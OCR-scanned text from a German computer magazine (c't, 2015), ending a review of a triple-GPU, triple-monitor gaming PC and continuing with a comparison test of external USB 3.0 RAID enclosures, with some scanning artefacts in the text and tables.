und F lugs imu latoren hat 
man so endl ich das Gefüh l, 
wirklich einen Rundum­
Bl ick zu haben. 

schnel ler s ind a l s  E inze lka rten. Das Gaming­
System schafft im  g rafi klast igen 3D-Bench­
mark 3DMark F i restr ike Extreme 5897 Punk­
te, wenn nu r  eine GeForce GTX 980 rechnet. 
Drei Grafi kka rten schaffen 1 2  635 Punkte. 
Spie ler erhalten a l so ungefähr  die doppelte 
Leistung einer GeForce GTX 980, bezah len 
aber d rei Stück und müssen mit der höheren 
Leistungsaufnahme und Geräuschentwick­
l ung leben. 

Videospeicher-Mangel :  Obendrein las­
sen s ich auch nu r  4 GByte der  i nsgesamt 
1 2  GByte Videospeicher effektiv nutzen. 
Denn al le Grafikdaten wie Texturen und Geo­
metrie müssen in den Speichern jeder GPU 
lagern. Doch gerade bei derart hohen Auflö­
sungen wie 1 0 320 x 1 440 kann  der Speicher 
bei manchen Spielen knapp werden.  Dann  
h i l ft es nu r, d ie Texturauflösung und Kanten­
g lättung zu reduzieren - was man eigentl ich 
bei e inem sündhaft teueren Gamer-System 
nicht möchte. 

Hei ßes Eisen 

Damit d ie  d rei H igh-End-Grafi kka rten i h re 
Leistung entfa lten können, s ind d ie übrigen 
Ha rdware-Komponenten ebenfa l l s  potent. 
Um einen F laschenha ls  bei der Datenverbin­
dung zum Prozessor auszusch l ießen, hat sich 
der Herste l le r  fü r e in X99-Ma inboard sowie 
einen Core i7-5930K mit 40 PCI-Express-3.0-
Lanes entsch ieden.  Jeder Ka rte stehen so 
mindestens 8 PCie-Lanes zur Verfügung .  

Al lerdings sitzen die d rei GeForce GTX 980 
d icht übereinander und kommen desha l b  
unter Last kräftig i n s  Schwitzen. Die Lüfter der 
beiden oberen Ka rten bekommen jewei ls nur 

Über die Nvidia-Systemsteuerung lässt 
sich d ie Anordnung der Bi ldschirme 
festlegen. E ine Rahmenkorrektur ist auch 
dabei. 
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du rch einen schmalen Spalt Luft. Während 
der Venti lator der untersten Ge Force GTX 980 
unter Vol ldampf entspannt mit 2200 Touren 
d reht, müssen sich d ie anderen beiden mit 
3500 U/min kräftig anstrengen und machen 
folg l ich eine Menge Lärm (5,5 Sone). 

Trotz der sechs riesigen Gehäusel üfter er­
h i tzen s ich d ie Grafi kka rten bei 3D-Spie len 
gegenseitig auf am Küh lergehäuse gemesse­
ne 73 oc. Hier  wäre es s innvol ler gewesen, 
nicht nur den 1 40-Watt-Prozessor, sondern 
auch d ie zusammen 550 Watt sch luckenden 
Grafikka rten mit Wasser zu küh len .  

Beim Hexa-Core-Hauptprozessor funktio­
n iert das Küh l konzept fo lg l ich besser, auch 
unter Vol l last b le ibt die Kerntemperatur des 
Core i7-5930K bei 60 oc im  grünen Bereich. 
Der Wärmetauscher der Wasserküh l ung l iegt 
im Luftstrom von zwei großen 1 2-cm-Lüf­
tern. Die CPU ist leicht übertaktet, denn der 
höhere Tu rbo-Mu l tip l i kator wird auch bei 
Last auf a l len Kernen verwendet. 

Hig h-End- I n nereien 

Das Ma inboa rd Rampage V Maximus fü r 
430 Eu ro ist mit  a l ler le i  Spie l ereien ausge­
stattet. E in LCD-Frontpanel überwacht Tem­
peraturen sowie Lüfterd rehzah len und er­
l aubt es, den Rechner per Knopfd ruck zu 
übertakten. Zu den weiteren Extras zäh len 
WLAN und eine fü rs Overclocking modifizier­
te CPU-Fassung mit zusätzl ichen Kontakten .  

E in 1 200-Watt-Netztei l  mit Kabelmanage­
ment versorgt die H igh-End-Komponenten 
zuverlässig. A l le in d ie Grafi kka rten erfordern 
sechs 6-po l ige Stromansch l üsse; entspre­
chend eng geht es wegen der umfangrei­
chen Verkabel ung im Netzte i l bereich des 
Doppe lkammergehäuses zu. 

Beim Arbeitsspeicher verschenkt M I Fcom 
ein paar Prozent Performance: Die vier teu­
ren PC4-2666-DIMMs mit je 4 GByte Kapazi­
tät la ufen statt mit 1 333 MHz nu r  mit 1 066 
MHz Takt, wei l im BIOS-Setup das zugehö­
rige XMP-Profi l n icht geladen ist. 

Genug P latz fü r Spie le bieten eine 250-
GByte-SSD fü r das Betriebssystem sowie zwei 
2-TByte-Festplatten .  Die Kapazität der Sol id 
State Disk ist nach der I nsta l lation mehrerer 
a ktue l le r  Spie le wie Assass in 's Creed: Un ity 
(50 GByte), Battlefie ld 4 (27 GByte), Dragon 
Age Inqu isit ion (25 GByte) und Far Cry 4 (30 
GByte) schne l l  erschöpft. Zwa r lassen s ich 
d iese auch auf Festplatte i nsta l l ieren, dabei 
büßt man aber den Vorte i l  der  schne l len 
Ladezeiten des F lash-Speichers e in .  Gerade 
Spiele mit besonders vie len Dateien, etwa 
FSX, legt man besser auf der SSD ab. Zudem 
wurde eine der beiden Platten vom System 
nicht erkannt, wei l s ie vermut l ich während 
des Transports aus dem Hot-Swap-Ansch luss 
gerutscht war. 

Fazit 

Als H ingucker taugt die Battlebox 1 2K Domi­
nator mit ih ren d rei Curved-Monitoren in 
jedem Fal l - der Arbeitsplatz mit dem leuch­
tenden Gaming-Würfel war oft von Kol legen 

c't 20 1 5, Heft 5 

Report I Extrem-Gaming 

Das Grafikkarten­
trio heizt sich bei 

3D-Last kräftig auf. 
Wegen der engen 

Anordnung des 
SLI-Verbunds 

bekommen die 
Grafikkartenlüfter 

kaum Luft. 

umlagert. Doch nach dem ersten Wow-Effekt 
bei F l ugs imu latoren und Rennspie len fo lgt 
schne l l  d ie Ernüchterung. Die Konfiguration 
ist so spezie l l ,  dass nur sehr wenige Spiele 
von dem extremen Breitbi ldformat profitie­
ren. Stattdessen hatten wir mit Verzerrungen 
und B i ld rucklern du rch den Trip ie-SLI-Ver­
bund zu kämpfen .  Vom Zusammenschalten 

d reier Grafikka rten können wir nur abraten -
zumal  man effektiv nu r  d ie  Leistung von 
zweien bekommt. Obendrein muss man viel 
Geld i n  die übrigen Ha rdware-Komponenten 
investieren. Besonders fü r Ego-Shooter oder 
Echtzeitstrategiespiele wäre überdies ein ein­
zelner SK-Bi ldschirm die bessere und günsti­
gere Wah l .  (mfi@ct.de) 

M I Fcom Sattlebox 1 2 K Dominator 
High·End·Gaming·PC mit drei 4K·Monitoren 

Hardware-Ausstattung 

CPU I Kerne / Takt (Turbo) 
RAM (Typ I Max ) I ·Siots (frei) 
Grafikkarten (·Speicher) 
Mainboard (Format) I Chipsatz 
Festplatten (Typ, Kapazität, Drehzahl, Cache) 

Solid·State Disk (Typ, Kapazität) 
optisches Laufwerk (Art) 
Gehäuse (B x H x T [mm]) I · Iüfter (geregelt) 
Netzteil (·Iüfter) 
Anschlüsse hinten 

Anschlüsse vorn, oben und seitlich 
Monitore 
Messwerte 

LeistungsaufnahmeZ: Leerlauf I Voll last CPU I CPU + GPU 
Geräuschentwicklung: Leerlauf I Voll last (Note) 
3D Mark Firestrike Extreme: 1 X GTX 980 I 3 X GTX 980 
Cinebench R 15  Rendering: Single· I Multi·Thread 
Preis 
Preis der drei Displays 

Core i7·5930K I 6+HT I 3,5 (3,7) GHz 

16 GByte (PC4·26661 I 64 GByte) I 8 (4) 
3 x Ge Force GTX 980 (4 GByte) 
Asus Rampage V Extreme (E·ATX) / X99 

2 X WD2003FZEX (SATA 6G, 2 TByte, 7200 min - ' ,  64 MByte) 
Samsung 840 Evo (SATA 6G, 250 GByte) 
HL·DT·ST BH1 6NS40 (Biu-ray·Brenner) 
Corsair Carbide Air 540 (33,2 cm x 45,5 cm x 42,0 cm) I 5 x 12 cm, 1 x 14 cm (v ) 
Corsair AX1 200i, 1 200 Watt, 80 Plus Platinum ( 12  cm) 
6 X HDMI, 3 x DVI, 6 x DisplayPort, 5 X analog Audio, 1 X SPDIF Out optisch, 
10 x USB 3.0, 2 x USB 2.0, 1 x LAN, 1 x PS/2, 3 x WLAN 
2 x USB 3.0, 2 x analog Audio 
3 X LG 34UC97·S, 34", 3840 x 1440, IPS 

92 w / 240 w / 76S w 
1 ,2 Sone (0) / 5,5 Sone (88) 
5897 I 1 2635 

132 I 1 078 
4150 € 
3300 € 

1 1äuft nur mit PC4·21 33, siehe Text 1 primärseitig gemessen, also inklusive Netzteil, Festplatte, DVD 

8 schle<ht 88 sehr sChlecht v vor anilen 
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Prüfstand I Externe Festplatten-Gehäuse 

1 00 

Lutz Labs 

Speicher satt 
Externe U S B-3 .0-Gehä u se fü r 

zwei b is  fü nf Festp latten 

Speicher kan n  man nie genug haben, etwa fü r die 
Videoschn itt-Rohdaten. Externe Festplattengehäuse 

lassen sich m it passenden Festplatten gut an die 
eigenen Bedürfn isse an passen und geben nur dann einen 
Mucks, wenn  sie wirkl ich gebraucht werden.  Zudem sind 

die meisten Model le b i l l iger und sch nel ler  a ls  e in  NAS. 

S peicherplatz lässt sich nur du rch eins er­
setzen :  noch mehr Speicherplatz. Die 

meisten Mainboards stel len sechs Ansch lüs­
se fü r SATA-Geräte bereit - bietet das Gehäu­
se ausreichend Platz, reicht das schon fü r di­
verse Terabyte. Nutzer von Notebooks oder 
Al l - l n-One-PCs haben keine Alternative zum 
externen Gehäuse. Diese haben zudem den 
Vortei l ,  dass man sie auch mal an  einem an­
deren PC ansch l ießen kann .  USB-Boxen s ind 
b i l l iger a l s  NAS-Geräte mit ebenso vie len 
Steckplätzen, Daten fl ießen per USB 3.0 
schne l le r  a ls per Gigabit-Ethernet, näml ich 
mit bis zu 450 MByte/s. Unsere Testmode l le  
verfügen zudem über RAID-Funktionen: Mit  
dem passenden RAID-Level hat der Ausfa l l  
e iner einze lnen Festplatte keinen Datenver­
l ust zur Folge. 

Im Test s ind Gehäuse mit zwei, vier und  
fünf Steckp lätzen :  Zwei 3,5-Zo i i -Schächte 
haben das Fantee MR-35DU3-6G, d ie  l cy­
Boxen RD3620SU3 und RD32 1 9StU3-B von 
Ra idSon ic, das Ra idon GR3660-B3 und WDs 
MyBookPro. Das Ra idon GR2660-B3 fasst 
zwei 2,5-Zoi i-Speicher. Mit vier Schächten 
können das Drobo Mini {2,5 Zol l )  sowie die 
3,5-Zoi i-Geräte Ra idSonic lcybox I B-3640 und 
d ie dazu fast baug leichen Fantee QB-35US3R 
und Sta rtech SAT3540U3ER aufwarten, gar  
fünf g roße Schächte hat  d ie 5-Bay RAID  Box 
von Sha rkoon. Die Gehäuse fü r 3,5-Zo i i ­
P iatten vertragen Festplatten mit mehr a l s  
4 TByte; 2,5-Zo i i -P iatten g ibt es derzeit mit 
maximal 2 TByte. 

RAI D-Versionen 

Al le Gehäuse i n  unserem Test verbinden d ie 
P latten i n  untersch ied l ichen RAI D-Leve ln .  
D ie  Boxen fü r zwei Festplatten bieten min ­
destens RAID  0 und  RAI D 1 ,  dazu  immer 
noch e inen JBOD-Modus - dazu g leich mehr. 
Bei den Geräten mit vier und fünf Festplat­
tenschächten kommt RAI D 5 h inzu, ge le­
gentl ich auch RAID 3, RAID  6 oder RAID  1 0. 

Ku rz zur  Er innerung :  RAI D 0 verte i l t  d ie  
Daten auf zwei Festplatten, bietet damit  
hohe Geschwindigkeit und die vol le  Festplat­
tenkapazität, aber kei ner le i  Redundanz -
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St4Jpor1: Password 

Prüfstand I Externe Festplatten-Gehäuse 

Datenträgerverwaltung 

Vol u me 

Wo 

c.Ji ((,) 
U Vo l u m e (E.:) 

CI!Oatentrager 0 
Basis 
1 86, 19 GB 

Layout Typ Dateisystem Status 

Einfa c h  B asis Fehl erfrei ( . . .  

Einfa c h  B as is Fehlerfrei ( . . .  

Einfa c h  Bas i s  NTFS Fehl erfrei ( . . .  

E i nfach Basis NTFS Fehlerfrei ( . . .  

(U 
300 MB 99 MB 1BS, 79 GB  NTFS Online Fehherfrei ('A Fehl erfrei Fehlerfrei (Startpartition, Ausla 

UOatentrager 1 
Basis Volume (E:) 
27944,72 GB 27944,n GB NTFS 
On li n e Fehlerfrei (Primäre P a rtiti on} 

• Nicht zugeordnet • Primäre Partition 

- D .. 
-

Kapazität Freier Sp . . .  

300 MB 300 MB 

99 MB 99 MB 

185,79 GB  9l,1 5 GB 

27944.72 GB 27944, 1 2 . . .  

J 

Nur  über die JMicron-Software lassen sich in einem Gehäuse zwei 
RAID-Verbünde konfigurieren - hier ein RAID 0 und ein RAID  5. 

Knapp 28 TByte Speicherplatz auf einem Volume ­
das sol lte eine Zeit lang reichen. 

beim Ausfa l l  e iner Platte s ind d ie Daten bei­
der Festplatten ver loren. RAID  1 h ingegen 
setzt a uf Sicherheit; h ier werden a l le Daten 
para l le l  auf zwei P latten geschrieben. 

J BOD ist e in  Spezia lfa l l :  Wer bereits ein 
NAS einsetzt, versteht unter Just a Bunch Of 
Disks e ine Sammlung von P latten, d ie  vom 
Contro l l e r  ei nfach h interei nander gehängt 
werden und e in e inze lnes g roßes Laufwerk 
ergeben. Bei u nseren Festplattengehäusen 
ist das jedoch nicht immer der Fa l l :  H ier heißt 
d ieser Modus häufig "Big" oder "Combine". 
Ste l l t  man die USB-Gehäuse auf J BOD ein, 
reichen sie die Platten einze ln  an  den PC wei­
ter. Zur Vere inheit l ichung versammeln  wir 
a l le Messungen eines plattenüberg reifenden 
Laufwerks unter dem Begriff JBOD und nen­
nen den Modus mit einze lnen P latten i n  die­
sem Artikel "Sing le". 

Bei RAID  5 vertei l t  der Contro l le r  die Nutz­
daten und zugehörigen Prüfsummen auf a l l e  
e ingebauten P latten. I nsgesamt geht  d ie Ka­
pazität einer Festplatte fü r die Prüfsummen­
informationen d rauf; d ie maximale Kapazität 
e ines RAID  5 beträgt somit (Anzah l  der Fest­
p latten - 1 )  x Kapazität der Ei nzel p latten. 

RAID 1 0 ist eine Kombination aus  RAID  0 
und RAID  1 ,  a l so eine Mischung aus Sicher­
heit und Geschwind igkeit. Wie bei RAID  1 
steht ledig l ich d ie Hälfte der verbauten Fest­
plattenkapazität zur Verfügung .  H ier dü rfen 
maximal zwei P latten ausfa l len - aber nicht 
zwei bel iebige, nur zwei zu einem RAID  0 ge­
hörige. 

JBOD oder B IG 

Vorsicht beim JBOD-Modus: E in ige 
Gehäuse fassen i n  d iesem Modus a l l e  
P latten zu e inem einzigen Laufwerk 
zusammen, andere füh ren a l l e  einge­
bauten Laufwerke einze ln  auf. 
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E in ige Gehäuse bieten den exotischen 
RAID-Level 3 an, d ieser hat in  der Praxis je­
doch keine Relevanz. Zu guter Letzt existiert 
noch RAID  6: Bei d iesem dü rfen zwei bel iebi­
ge Platten ausfa l l en, ohne dass es zu Daten­
verl ust kommt. RAID  6 lässt sich led ig l ich 
be im Drobo Min i  e inste l len .  

Welches RAI D ?  

Wi r  können im Rahmen d ieses Art ike ls kein 
best immtes RAI D-Level empfeh len (s iehe 
auch [ 1  ) ) .  RAID  1 g i l t  a ls besonders zuverläs­
sig. Eine einze lne P latte aus e inem RAI D- 1 -
Verbund sol l te man beim Ausfa l l  des Con­
tro l l ers eigentl ich mitte ls USB-Adapter oder 
d i rekt an  einem SATA-Port aus lesen können 
- das klappte im Test nu r  beim Drobo Min i  
und be i  WDs MyBook Duo n icht, d iese i nter­
pretieren RAID  1 auf ih re eigene Weise. 

E in RAID  5 kommt für weniger wichtige Da­
ten infrage. Platten aus einem solchen Verbund 
l ießen sich bei unseren 4-Bay-Testmodel len 
einfach in das Gehäuse eines anderen Herstel­
lers versetzen und dort wieder aus lesen. 

JBOD bietet keinerlei Redundanz, setzt a lso 
besonders gewissenhafte Backups voraus -

aber darauf sol lte man auch bei anderen 
RAID-Levels nicht verzichten. RAID  0 sol l te nur  
zum Einsatz kommen, wenn es aussch l ießl ich 
auf die Geschwindigkeit ankommt, etwa fü r 
Rohdaten beim Videoschnitt 

Aber auch fü r den E insatz des S ing le­
Modus g ibt es Anwendungsszenar ien: So 
kann  man jederzeit eine Festplatte gegen 
eine g rößere austauschen, ohne sämtl iche 
Daten sichern und neu einspielen zu müssen. 
Unter Windows 8 wird der Sing le-Modus da­
durch interessant, dass man damit Microsofts 
Storage Spaces einsetzen kann [2], die ähn l ich 
wie ein RAID  1 funktionieren. Storage Spaces 
haben den Vortei l , dass man bei steigendem 
Platzbedarf einze lne Platten gegen g rößere 
austauschen kann, was den Speicherplatz 
ohne nervige Umkopieraktionen vergrößert. 

Maxima l  könnten im Sha rkoon-Gehäuse 
bei Bestückung mit fünf 6-TByte-Piatten 
knapp 28 TByte Daten lagern .  Bei so lchen 
Datenmassen kommen Effekte zum Tragen, 
d ie man früher vernachlässigen konnte: "Si­
lent Data Corruption" oder "Bit Rot" [3] .  Zwar 
so l l  e in n icht korr ig ierba rer Lesefeh ler  l aut  
der Spezifi kation herkömml icher SATA-Lauf­
werke seltener auftreten a l s  e inmal  pro 1 01 4  

RAI D-Boxen - Transferraten m it S S D  Samsung 8 5 0  Pro 
Lesen IMByte/sl Schreiben IMByte/s] Lesen [ IOPS] Schreiben [ IOPS] 
besser ..,. besser ..,. besser ..,. besser ..,. 

Drobo Mini1 - 260 - 1 28 . 1 034 . 1 9882 
Fantee MR-35DU3-6G 431 439 - 6253 
Fantee QB·35US3R - 260 - 2S7 - 4743 - 6664 
Raidün GR2660·B3 431 439 - 6238 
Raidün GR3660·B3 431 439 - 6241 
RaidSonic lcyBox I B·321 9STU3·B 412  426 - 4684 - 6659 
RaidSonic lcyBox I B·3620SU3 - 260 - 257 - 4720 - 6634 
Raidsoni< lcybox IB·36405U3 - 265 - 262 - 5579 - 6664 
Sharkoon 5·Bay RAID Box - 256 - 248 - 5123 - 6665 
Starlech SA T3540U3ER - 260 - 257 - 4748 - 6668 
WD MyBook Duo3 
gemessen mit IOmeter, 5 1 2-KByte·Biöcke auf einem 8 GByte großen Teilberei<h eines RAID·O·Verbunds aus zwei Samsung 850 Pro 
1 gemessen im RAID 1 2fä l lt nach wenigen Sekunden unter 1 000 IOPS 3 SSD nicht erkannt 

1 0899 

1 0835 

1 0849 
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Prüfstand I Externe Festplatten-Gehäuse 

USB-Speicher mit RAID-Funktionen 

Drobo Mini  

Das Drobo M in i  konfiguriert sich praktisch 
automatisch und eignet sich damit vor 
a l lem für Anwender, die sich mit der Technik 
nicht beschäftigen möchten. Steckt man 
zwei Platten hinein, a rbeiten diese auto­
matisch im RAID-1 -Modus, d rei oder vier 
Platten hingegen mit RAID 5. Das funktio­
niert auch mit Platten verschiedener Her­
stel ler und unterschied lichen Kapazitäten. 

Da das Drobo Mini  immer rund 1 0 Prozent 
der Gesamtkapazität fü r Sicherungszwecke 
reserviert, ist die nutzbare Kapazität kleiner 
a ls  bei den anderen RAID-Gehäusen. Über 
das Drobo Dashboard kann man bei der 
Bestückung mit d rei oder mehr Platten eine 
doppelte Sicherung einste l len, sodass sogar 
der Ausfa l l  von zwei Festplatten abgefan­
gen wird. Dies kostet jedoch zusätzl ich 
Speicherplatz. Unschön ist, dass das Drobo 
Mini unabhängig von der Bestückung so­
woh l  unter Windows a ls  auch unter Mac OS 
immer eine Gesamtkapazität von 1 6  TByte 
an das Betriebssystem meldet; die wahre 
Kapazität zeigt nur  die Software. 

Zur  Besch leun igung des Datentransfers 
lässt sich an  der Unterseite eine M.2-SSD 
einbauen. Auf die Benchma rk-Ergebnisse 
hatte diese jedoch keine Auswi rkung. Der 
g rößte Vortei l  des Mini ist, dass d ie Daten 
auch bei e iner Änderung des RAID-Level 
erha lten ble iben. Das Drobo er ledigt d ie 
notwendigen Anpassungen im H inter­
grund, so kann man du rch das E insetzen 
einer größeren Platte die Gesamtkapazität 
ohne Datenver lust verg rößern. 

Die Übertragungsrate des Mini  lag ,am un­
teren Ende unseres Testfeldes. Zur Kontro l le 
haben wir das Drobo per Thunderbolt an 
e inem Mac angeschlossen. Selbst dort kam 
das Drobo nicht recht in Schwung, ledigl ich 
beim SSD-Benchmark stieg die Leseleistung 
auf knapp 400 MByte/s. 

Bewertung 

0 einfache Insta l lation 
0 RAID-Erweiterung ohne Datenverl ust 
0 n ied rige Geschwi ndigkeit 
0 proprietä res RAID 

1 02 

Fa ntee MR-3S DU3-6G 

Das kle ine Fantee-Gehäuse bietet Platz fü r 
zwei Festplatten, SSDs muss man über 
sepa rat zu erwerbende Adapter e inbauen. 
Die E inrichtung ist schne l l  er ledigt: Die 
Laufwerksverriege lungen an  der Vorder­
seite lassen sich mit dem Daumennagel 
d rehen, zum Einbau ist kein  Werkzeug not­
wendig .  Die Platten muss man mit etwas 
Kraft in das Gehäuse h ine ind rücken, d ie 
letzten Mi l l imeter er ledigt d ie Hebelwir­
kung der Klappen. 

A l le Bedienelemente finden sich auf der 
Vorderseite. Der Schiebeschalter fü r den 
RAID-Level ist etwas nach hinten versetzt 
angebracht und lässt sich nur  mit einem 
Stift verschieben - das sol l  e inen verse­
hentl ichen Wechsel des RAID-Modus mit 
ansch l ießendem Datenverl ust verh indern. 
Zudem muss man beim Einscha lten den 
Reset-Taster gedrückt ha lten, um einen 
neuen Modus einzuste l len .  Etwas verwir­
rend sind ein paar Knöpfe auf der F ront, d ie 
wie Taster aussehen, aber nur  Deko s ind. 

Sel bst im Leer lauf ist der Lüfter so laut, 
dass man das Gerät nur  einscha lten möch­
te, wenn man es unbedingt braucht ­
zudem dreht er a l l e  paar Sekunden weiter 
auf. Noch schnel ler d reht er beim Zugriff 
auf d ie Festplatten, das nervt vor a l lem bei 
längeren Kopieraktionen. 

Mit einer Sandisk-SSD X300s gab es Proble­
me: So kam zwar ein RAID-0-Verbund mit 
einer anderen SSD zustande, Windows mel­
dete aber wenige Minuten später, dass das 
zuletzt angeschlossene USB-Gerät nicht 
ordnungsgemäß a rbeiten würde - das MR-
35DU3-6G meldete hingegen keinen Feh­
ler. Nach dem erneuten Start des Speicher­
gerätes war die unter Windows vorher kor­
rekt formatierte Festplatte nicht mehr sicht­
bar. Laut Herste l ler ist das Gehäuse nicht fü r 
SSDs freigegeben. 

Bewertung 

0 sch nel ler  USB-Modus 
0 J BOD- und Sing le-Mod us 
0 nerviger Lüfter 
0 Probleme mit einze lnen SSDs 

Fa ntee QB-35US3R, Raidsonic 

lcy Box I B-3640SU3, Starteeh 
SAT3540U3ER 
Die  Gehäuse von Fantec, Ra idSonic und 
Sta rtech s ind  annähernd baug leich - die 
lcy Box sticht du rch einen zusätzl ichen Sin­
g le-Modus und eine andere Frontblende 
hervor, d ie den Lä rm etwas besser dämmt. 
Fast a l l e  Bedienelemente befinden sich auf 
der F rontseite. Nu r  der Taster zum Bestäti­
gen eines neuen RAID-Levels l iegt h inter 
einer Klappe verborgen auf der Rückseite, 
was einen versehentl ichen Wechsel aus­
sch l ießt. 

Als Besonderheit kann  man den Lüfter 
nicht nur in  einer schon recht lauten Auto­
matikste l l ung laufen lassen, sondern auch 
i n  d rei festen Stufen.  Die höchste Stufe mit 
über 5 Sone macht genug Lä rm fü r den 
Serverra um.  Die Herste l ler  verbauen den 
g leichen RAID-Ch ip von JMicron. 

Die Montage der P latten n immt etwas Zeit 
i n  Anspruch, da man jede mit dem Schrau­
bendreher um einen bei l iegenden Henkel 
aufrüsten muss. Ohne d iesen bekommt 
man d ie Platten nu r  schlecht aus dem Ge­
häuse wieder heraus .  Fü r  SSDs braucht 
man einen zusätzl ichen Adapter. Vor den 
Plattenstapel kommt erst e ine Meta l l­
sperre, dann d ie Gehäuseklappe. 

Die Gehäuse von Fantee und Sta rtech be­
reiteten an  einem Testsystem (MSI Z87M­
G43) Probleme: Mit einer SSD in  der Box 
brach die Datenübertragungsrate nach 
ku rzer Zeit zusammen, erholte sich aber 
dann wieder. Auch beim Testlauf mit 
h2Benchw gab es Abbrüche - Ursache sind 
wahrschein l ich l nkompatibi l itäten mit dem 
USB-3.0-Chip des Mainboards. Auf anderen 
Systemen traten d iese Probleme nicht auf. 
Fantee rät von der Verwendung spezie l ler 
NAS-Piatten ab; Anwender sol lten l ieber 
übl iche Desktop-Platten einbauen. 

Bewertung 

0 per  Softwa re konfig u rierbar 
0 viele RAID-Level 
0 Verb indu ngsa bbrüche ü ber USB 
0 u mständ l iche Montage 
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Prüfstand I Externe Festplatten-Gehäuse 

USB-Speicher mit RAID-Funktionen 

RaidOn G R2660-B3 

Das kle inste Gerät im Test fasst nur zwei 
Festplatten oder SSDs im 2,5-Zoi i-Format. 
Mit seinem Al umin ium-Gehäuse und dem 
grünen Rahmen sieht es aber mit Abstand 
am schönsten aus. Zum Einbau braucht 
man kein Werkzeug:  Klappe auf, P latte 
rein, Klappe zu. Die Klappen dienen zudem 
a l s  Auswurfhebel, dazu kippt man sie, um 
sie danach in  das Gehäuse hineinzu­
schieben. 

Mit den DI P-Schaltern zum Umscha lten des 
RAID-Modus auf der Rückseite sol lte man 
nicht herumspielen, denn es feh lt  eine Si­
cherheitsabfrage - im sch l immsten Fa l l  
s ind beim nächsten Einschalten a l l e  Daten 
futsch. Anders als in  der Doku angegeben 
unterstützt das GR2660-B3 auch den JBOD­
Modus. 

Setzt man schne l le Festplatten ein, l iegen 
d ie Übertragungsgeschwindigkeiten im 
RAID  0 kaum unter denen der mit 3,5-Zo i i ­
P iatten bestückten Geräte. Mit SSDs d reht 
das GR2260-B3 aber noch einmal auf: Im 
UASP-Modus mit schnel len SATA-SSDs er­
reichte das GR2260 über 430 MByte/s. 

I nsgesamt verrichtet das GR2260 seine Ar­
beit unauffä l l ig, e in ige SSDs bereiteten je­
doch Probleme: Das Gehäuse erkannte mit 
zwei Samsung-SSD 845DC Evo im RAID-0-
Modus statt 480 oder 960 GByte eine Ka­
pazität von 1 28 PByte - und l ieß keinen 
Zugriff darauf zu. E ine Crucia l MX1 00 und 
eine Sandisk X300s wurden mit den richti­
gen Kapazitäten erkannt, l ießen sich aber 
nicht formatieren. Der Herste l ler  wil l  i n  den 
nächsten Wochen ein F i rmware-Update 
zur Verfügung stel len .  Durch sein ger inges 
Gewicht e ignet sich das GR22260 auch fü r 
den mobi len E insatz - dabei stört ledig l ich 
das etwas g roße NetzteiL 

Bewertung 

0 einfache Insta l lation 
0 la utlos beim Betrieb mit SSDs 
0 J BOD-Mod us nicht dokumentiert 
0 Probleme bei E rken n u ng best im mter SSDs 
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RaidOn G R3660-83 

Das GR3660-B3 bietet zwei 3,5-Zoi i-Schäch­
te (die Platten stehen auf der Seite). Den 
RAID-Modus ste l l t  man mit einem Schiebe­
schalter auf der Rückseite e in .  Beim nächs­
ten Sta rt wird der neue Modus aktiv und 
die vorher auf dem anderen RAID gespei­
cherten Daten sind futsch. Zum Glück ist 
der Schalter sehr tief eingebaut. 

Die P latten muss man beim GR3660-B3 in  
Rahmen festschrauben, i n  d ie auch SSDs 
oder 2,5-Zoi i-P iatten ohne weiteren Adap­
ter passen. 

Die Übertragungsraten l iegen beim 
GR3660-B3 etwas höher a l s  beim kle ineren 
GR2660-B3 - das l iegt aber nicht am Ge­
häuse, sondern an den verwendeten Fest­
platten. Mit SSDs treten ähn l iche Probleme 
auf wie bei der 2,5-Zoi i -Version: Die Sam­
sung-Datacenter-SSDs werden nicht er­
kannt. Hier a l lerdings verwi rrte der Ei nsatz 
einer solchen SSD die Datenträgerverwa l­
tung von Windows so, dass sie g leich zwei 
Einträge zum Datenträger 2 enthielt . Die 
Sandisk-SSD wol lte das GR3660-B3 gar 
nicht e in lesen; es kam kein  RAID-0-Ver­
bund zustande. RAID  1 und die Anwah l  
über ei nzel ne Festplatten funktionierten 
mit den g leichen SSDs h ingegen klag los. 

Beim Schreiben im RAID-0-Modus schwä­
chelte das GR3660-B3 etwas; beim Lesen 
lag es h i ngegen in  der Spitzengruppe, 
ebenso bei den Messungen in den ande­
ren RAID-Modi .  Setzt man SSDs ein, so ge­
hört das GR3660-B3 dank des UASP-Modus 
ebenfa l l s  zu den schne l l sten Geräten in  
d iesem Verg leich. 

Die Leistungsaufnahme l iegt im mittleren 
Bereich, der Lüfter lä rmt jedoch selbst im 
Ruhezustand hörbar vor sich h in .  

Bewertung 

0 sch nel ler  UASP-Mod us 
0 SSDs ohne Adapter e inbaubar  
0 Probleme mit bestim mten SSDs 
0 a ufwendige Montage 

RaidSonic lcy Box I B-3 2 1 9STU3-B 

Das Bestücken der lcy Box I B-32 1 9STU3-B 
ist etwas nervig .  Zwei kle ine Schrauben auf 
der Unterseite ha lten einen Rahmen fest, 
den man nach h inten herauszieht - vorher 
muss man aber das Kabel fü r d ie LEDs an  
de r  F ront abziehen und darf e s  beim Zu­
sammenbau nicht wieder einzustecken 
vergessen. 

Die beiden SATA-Steckplätze des Gehäu­
ses s ind nicht identisch: SMART-Daten er­
hä lt man nur von der unteren Platte, und 
nu r  d ieser Ansch l uss arbeitet n icht  mit  
e iner  Samsung-SSD 850 Pro zusammen ­
zumindest im RAID-Level 1 und im Sing le­
Modus. Der obere funktioniert mit dieser 
SSD in  a l len Modi, mit den anderen SSDs 
aus unserem Fundus hatten wir ebenfa l l s  
keine Schwier igkeiten. 

Konfigu r iert wird die Box per D I P-Scha lter 
auf der Rückseite. Hält man beim Ein­
schalten den daneben angebrachten 
Taster fü r d rei Sekunden fest, wechselt 
d ie  Box i n  den ei ngeste l lten Modus .  Offi­
zie l l  unterstützt d ie l cy Box I B-321 9STU3-B 
nur RAI D  0, 1 und S ing le .  Wäh l t  man 
aber  die einzige nicht im  Handbuch 
dokumentierte Kombi nation, scha l tet s ie  
auf J BOD. 

Obwohl  d ie Box keinen Lüfter hat, ist sie 
auch im Leer lauf nicht laut los - wie bei 
a l len anderen Boxen feh lt  eine Gummi­
lagerung fü r die Festplatten, was das 
Gehäuse in  Schwingung versetzt. Bestückt 
man d ie lcy Box mit SSDs, ist sie laut los 
und du rch den ger ingen Energieverbrauch 
auch a l s  Dauerläufer i nteressant. Nervig ist 
das mit knapp 50 cm sehr ku rze USB-Kabel; 
damit lässt sich das Gerät kaum so positio­
n ieren, dass man bequem an  den Netz­
schalter kommt. 

Bewertung 

O leise 
0 sch nel ler  UASP-Mod us 
0 u mständ l iche Insta l lation 
0 Probleme mit Samsung 850 Pro 
